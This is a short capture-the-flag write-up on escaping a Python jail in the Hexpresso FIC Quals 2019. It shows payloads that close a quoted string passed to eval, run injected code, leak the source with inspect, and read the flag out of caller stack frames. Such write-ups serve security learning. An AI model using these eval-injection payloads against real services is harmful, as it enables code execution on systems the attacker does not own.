Hexpresso FIC Quals 2019: Step 5

Published December 20, 2019 • 2 minutes read

The fifth step is a Python jail that we must escape.


We are provided a few files allowing to connect to the challenge:

$ socat stdio,cert=client.pem,cafile=server.crt,verify=0
>et ça fait bim bam boum
Bad flag !

Well... Looks like our input is somehow compared to the actual flag. Let's try to break the script in order to get a trace:

Traceback (most recent call last):
  File "./", line 28, in <module>
  File "./", line 21, in main
    if flag == get_input():
  File "./", line 15, in get_input
    return eval(f"""'{input(">")}'""")
  File "<string>", line 1
SyntaxError: EOF while scanning triple-quoted string literal

There is a lot of information here! What we know:

We can inject Python using a standard closing/comment payload such as:

>vroum' and print('Hello') #
Bad flag !

In that example, the following is evaluated:

'vroum' and print('Hello') #'

As 'vroum' is a truthy, the other side of the and gets to be evaluated and our print is executed.

I used inspect in order to leak the source code:

>vroum' + print(__import__('inspect').getsource(get_input)) #
def get_input():
    return eval(f"""'{input(">")}'""")

Let's get main:

>vroum' + print(__import__('inspect').getsource(main)) #
def main():
    flag = get_flag()

    if flag == get_input():

The get_flag function looks promising!

>vroum' + print(__import__('inspect').getsource(get_flag)) #
def get_flag():
    flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
    os.environ.update({"FLAG": ""})
    return flag

Too bad for us... The flag is retrieved and then emmediately removed from the environment at the start of the script. We'll have to go back a couple of scopes in order to reach the flag variable and print its content.

>vroum' and print(__import__('inspect').currentframe().f_back.f_back.f_locals) #
{'flag': 'Next step :'}
Bad flag !

This payload is actually very simple:

Click here for the next step!

← Back to the index